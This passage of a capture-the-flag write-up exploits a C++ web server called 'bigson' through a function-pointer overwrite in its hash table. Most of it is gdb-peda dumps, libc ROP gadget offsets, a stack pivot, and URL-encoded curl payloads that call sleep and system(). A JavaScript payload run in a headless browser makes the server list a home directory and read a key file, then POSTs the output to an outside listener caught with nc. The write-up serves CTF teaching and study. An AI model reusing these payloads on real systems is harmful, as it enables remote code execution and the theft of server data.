HashTable::Hash(std::string const&) const () gdb-peda$ context stack 100 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 0064| 0x7fffffffcfd0 --> 0x0 0072| 0x7fffffffcfd8 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET') 0080| 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0088| 0x7fffffffcfe8 --> 0x4028e7 (<_Z12IndexHandlerRKSsRK11HttpRequestP12HttpResponse+268>: mov QWORD PTR [rbp-0x18],rax) 0096| 0x7fffffffcff0 --> 0x24ab43c8 0104| 0x7fffffffcff8 --> 0x7fffffffd2a0 --> 0xc8 0112| 0x7fffffffd000 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET') 0120| 0x7fffffffd008 --> 0x7fffffffd308 --> 0x60faa8 --> 0x7865646e692f ('/index') 0128| 0x7fffffffd010 --> 0xffffffff 0136| 0x7fffffffd018 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 0144| 0x7fffffffd020 --> 0x7ffff7ae05f0 --> 0xc002200024046 0152| 0x7fffffffd028 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 0160| 0x7fffffffd030 --> 0xffffffff 0168| 0x7fffffffd038 --> 0x7ffff7fb6030 --> 0x7ffff7b1b1a8 ("GLIBCXX_3.4") 0176| 0x7fffffffd040 --> 0x250 0184| 0x7fffffffd048 --> 0x1 0192| 0x7fffffffd050 --> 0x0 0200| 0x7fffffffd058 --> 0x7ffff7ffa9d0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 0208| 0x7fffffffd060 --> 0x661b4bde 0216| 0x7fffffffd068 --> 0x7ffff7ffe4e0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 0224| 0x7fffffffd070 --> 0x687d56c0 0232| 0x7fffffffd078 --> 0x7fffffffdb60 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") 0240| 0x7fffffffd080 --> 0x7fffffffd0a0 --> 0x0 0248| 0x7fffffffd088 --> 0x60b280 --> 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi]) 0256| 0x7fffffffd090 --> 0x0 0264| 0x7fffffffd098 --> 0x7fffffffdd00 --> 0x1 0272| 0x7fffffffd0a0 --> 0x0 0280| 0x7fffffffd0a8 --> 0x0 0288| 0x7fffffffd0b0 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0296| 0x7fffffffd0b8 --> 0x7ffff7de8f35 (<_dl_fixup+245>: mov rbp,rax) 0304| 0x7fffffffd0c0 --> 0x7fff00000001 0312| 0x7fffffffd0c8 --> 0x0 0320| 0x7fffffffd0d0 --> 0x0 0328| 0x7fffffffd0d8 --> 0x7ffff7ae05f0 --> 0xc002200024046 0336| 0x7fffffffd0e0 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0344| 0x7fffffffd0e8 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0352| 0x7fffffffd0f0 --> 0x40319a (<_ZN7PHPHashclEPKc>: push rbp) 0360| 0x7fffffffd0f8 --> 0x7ffff7def445 (<_dl_runtime_resolve+53>: mov r11,rax) 0368| 0x7fffffffd100 --> 0x7fffffffd1f0 --> 0x0 0376| 0x7fffffffd108 --> 0x7ffff75b85c0 --> 0x0 0384| 0x7fffffffd110 --> 0x7fffffffd1f0 --> 0x0 0392| 0x7fffffffd118 --> 0x0 0400| 0x7fffffffd120 --> 0x6101c9 --> 0x0 0408| 0x7fffffffd128 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0416| 0x7fffffffd130 --> 0x0 0424| 0x7fffffffd138 --> 0x101 0432| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0440| 0x7fffffffd148 --> 0x4034d1 (<_ZNK9HashTable4HashERKSs+123>: add rsp,0x10) 0448| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x0 0456| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 0464| 0x7fffffffd160 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") .......
Unfortunately, it seems that an “add rsp, … ; ret” gadget isn't going to cut it. After some failed attempts to exploit it in this way I had another idea: let's add another parameter to the request:
$ curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAAABCD&TESTINGPARAM=TESTINGVALUE" gdb-peda$ contin Continuing. [----------------------------------registers-----------------------------------] RAX: 0x60fd78 ("TESTINGPARAM") RBX: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RCX: 0x7fffffffd350 --> 0x1 RDX: 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") RSI: 0x60fd78 ("TESTINGPARAM") RDI: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RBP: 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12) R8 : 0x0 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x610300 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x6161610044434241 ('ABCD') R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> 0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax 0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx => 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12 0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10 0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx 0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12 0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp Guessed arguments: arg[0]: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") arg[1]: 0x60fd78 ("TESTINGPARAM") [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") 0008| 0x7fffffffd128 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffd130 --> 0x0 0024| 0x7fffffffd138 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffd148 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") 0056| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004034ce in HashTable::Hash(std::string const&) const () gdb-peda$
This is much much better. We can use an “xchg esp, eax” gadget from libc to pivot the stack (as the heap address fits inside 4 bytes: 0x60fd78) and add any ROP chain we want.
[-------------------------------------code-------------------------------------] => 0x7ffff731e585 <innetgr+725>: ret 0x7ffff731e586 <innetgr+726>: lea rsi,[r12+0x48] 0x7ffff731e58b <innetgr+731>: lea rdi,[r12+0x40] 0x7ffff731e590 <innetgr+736>: call 0x7ffff731de40 <free_memory.isra.1> [------------------------------------stack-------------------------------------] 0000| 0x60fd78 ("TESTINGPARAM") 0008| 0x60fd80 --> 0x314141004d415241 ('ARAM') 0016| 0x60fd88 ("AACAAcAAABCD") 0024| 0x60fd90 --> 0x44434241 ('ABCD') 0032| 0x60fd98 --> 0x31 ('1') 0040| 0x60fda0 --> 0x60fc40 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0048| 0x60fda8 --> 0x4 0056| 0x60fdb0 --> 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007ffff731e585 in innetgr () from /lib64/libc.so.6 gdb-peda$ hexdump $rsp /5 0x0060fd78 : 54 45 53 54 49 4e 47 50 41 52 41 4d 00 41 41 31 TESTINGPARAM.AA1 0x0060fd88 : 41 41 43 41 41 63 41 41 41 42 43 44 00 00 00 00 AACAAcAAABCD.... 0x0060fd98 : 31 00 00 00 00 00 00 00 40 fc 60 00 00 00 00 00 1.......@.`..... 0x0060fda8 : 04 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................ 0x0060fdb8 : 54 45 53 54 00 4e 47 50 41 52 41 4d 00 00 00 00 TEST.NGPARAM....
The gadgets I found useful from libc were:
0x2adb7 <newlocale+951>: xchg esp,eax 0x2adb8 <newlocale+952>: ret 0x1055a0 <xdr_free+16>: mov rdi,rsp 0x1055a3 <xdr_free+19>: call rdx 0x1b8a: pop rdx 0x1b8b: ret 0x2024b: pop rdi 0x2024c: ret
To test locally I like to use the sleep function for 0x10 seconds. We leverage the fact that urldecode is applied on the parameter names and values when sending payload bytes.
cmd += quote_string( struct.pack("<Q", poprdi) ) cmd += quote_string( struct.pack("<Q", 0x10 ) ) cmd += quote_string( struct.pack("<Q", sleep) )
$ time python /tmp/writeup/testsleep.py 7ffff7214000 curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%D8%9E%23%F7%FF%7F%00%00%10%00%00%00%00%00%00%00%00%0C%2D%F7%FF%7F%00%00=TESTINGVALUE" curl: (52) Empty reply from server real 0m16.004s user 0m0.001s sys 0m0.001s
By modifying the exploit script to call system() we should get the result back on to the socket:
cmd += quote_string( struct.pack("<Q", poprdx) ) cmd += quote_string( struct.pack("<Q", system) ) cmd += quote_string( struct.pack("<Q", movcall) ) cmd += quote_string("""echo -en "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 100\r\n\r\n `date` " >&10 ; exit;""")
$ python /tmp/writeup.py 7ffff7214000 curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%2E%8E%21%F7%FF%7F%00%00%80%8F%25%F7%FF%7F%00%00%60%F3%32%F7%FF%7F%00%00%65%63%68%6F%20%2D%65%6E%20%22%48%54%54%50%2F%31%2E%31%20%32%30%30%20%4F%4B%0D%0A%43%6F%6E%74%65%6E%74%2D%54%79%70%65%3A%20%74%65%78%74%2F%68%74%6D%6C%0D%0A%43%6F%6E%74%65%6E%74%2D%4C%65%6E%67%74%68%3A%20%31%30%30%0D%0A%0D%0A%20%60%64%61%74%65%60%20%22%20%3E%26%31%30%20%3B%20%65%78%69%74%3B=TESTINGVALUE" curl: (18) transfer closed with 69 bytes remaining to read Mon Apr 21 14:02:09 EEST 2014
First I tested the exploit using sleep as before and everything worked ok. However, trying to write on the socket always produced an error in the XMLHttpRequest that I haven't gotten round to fixing.
Fortunately, I came up with another idea to get the data out from there: since we can run any commands why not write into /tmp/ the output of commands and then grab the contents using the “normal” behaviour of the bigson server?
We tweak the javascript payload into the following:
function do_requests(file_path, payload) { var response = ''; var geturl = ""; if (file_path != '') { geturl = "http://bigson.essolutions.largestctf.com/index?file=" + file_path; }; if (payload != '') { var base = "http://bigson.essolutions.largestctf.com/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="; geturl = base + payload; }; $.ajax({ type: "GET", url: geturl, async: false, beforeSend : function (xhr) { xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" ); }, success : function(data, textStatus, jqXHR) { response += jqXHR.responseText; }, error: function(jqXHR, textStatus, ex) { response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode(); } }); if (file_path != '') { $.ajax({ type: "POST", url: "http://swarm.cs.pub.ro:42424", async: false, data: "POST request made. Response was:\n" + response, success : function(text) { } }); }; } function requests() { do_requests("", "%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00&%8A%BB%5E%7A%8B%7F%00%00%80%9F%62%7A%8B%7F%00%00%A0%F5%6E%7A%8B%7F%00%00%20%6C%73%20%2D%61%6C%20%2F%68%6F%6D%65%2F%62%69%67%73%6F%6E%20%3E%20%2F%74%6D%70%2F%73%75%70%65%72%5F%73%65%63%72%65%74%5F%6E%61%6D%65%7A%3B%20%65%78%69%74%3B=TESTINGVALUE"); do_requests("/tmp/super_secret_namez",""); } var script = document.createElement("SCRIPT"); script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js'; script.type = 'text/javascript'; document.getElementsByTagName("head")[0].appendChild(script); script.onload = requests;
And set the payload to:
cmd += quote_string( struct.pack("<Q", poprdx) ) cmd += quote_string( struct.pack("<Q", system) ) cmd += quote_string( struct.pack("<Q", movcall) ) cmd += quote_string(""" ls -al /home/bigson > /tmp/super_secret_namez; exit;""")
This is the result:
rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37136 POST / HTTP/1.1 Origin: http://portal.essolutions.largestctf.com User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://portal.essolutions.largestctf.com/login.php Content-Length: 338 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424 POST request made. Response was: total 108 drwxr-xr-x 2 root root 4096 Apr 13 16:39 . drwxr-xr-x 4 root root 4096 Apr 12 22:44 .. -rwxr-xr-x 1 root root 94113 Apr 13 02:16 bigson -rw-r--r-- 1 root root 231 Apr 13 16:22 index.html -r--r----- 1 root bigson 30 Apr 12 22:49 really_weirdly_named_key_haha
And cat on the file to receive:
rcaragea@swarm:~$ nc -lvp 42424 listening on [any] 42424 ... connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37160 POST / HTTP/1.1 Origin: http://portal.essolutions.largestctf.com User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Referer: http://portal.essolutions.largestctf.com/login.php Content-Length: 63 Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: swarm.cs.pub.ro:42424 POST request made. Response was: WEB_you_hacked_the_bigson_WEB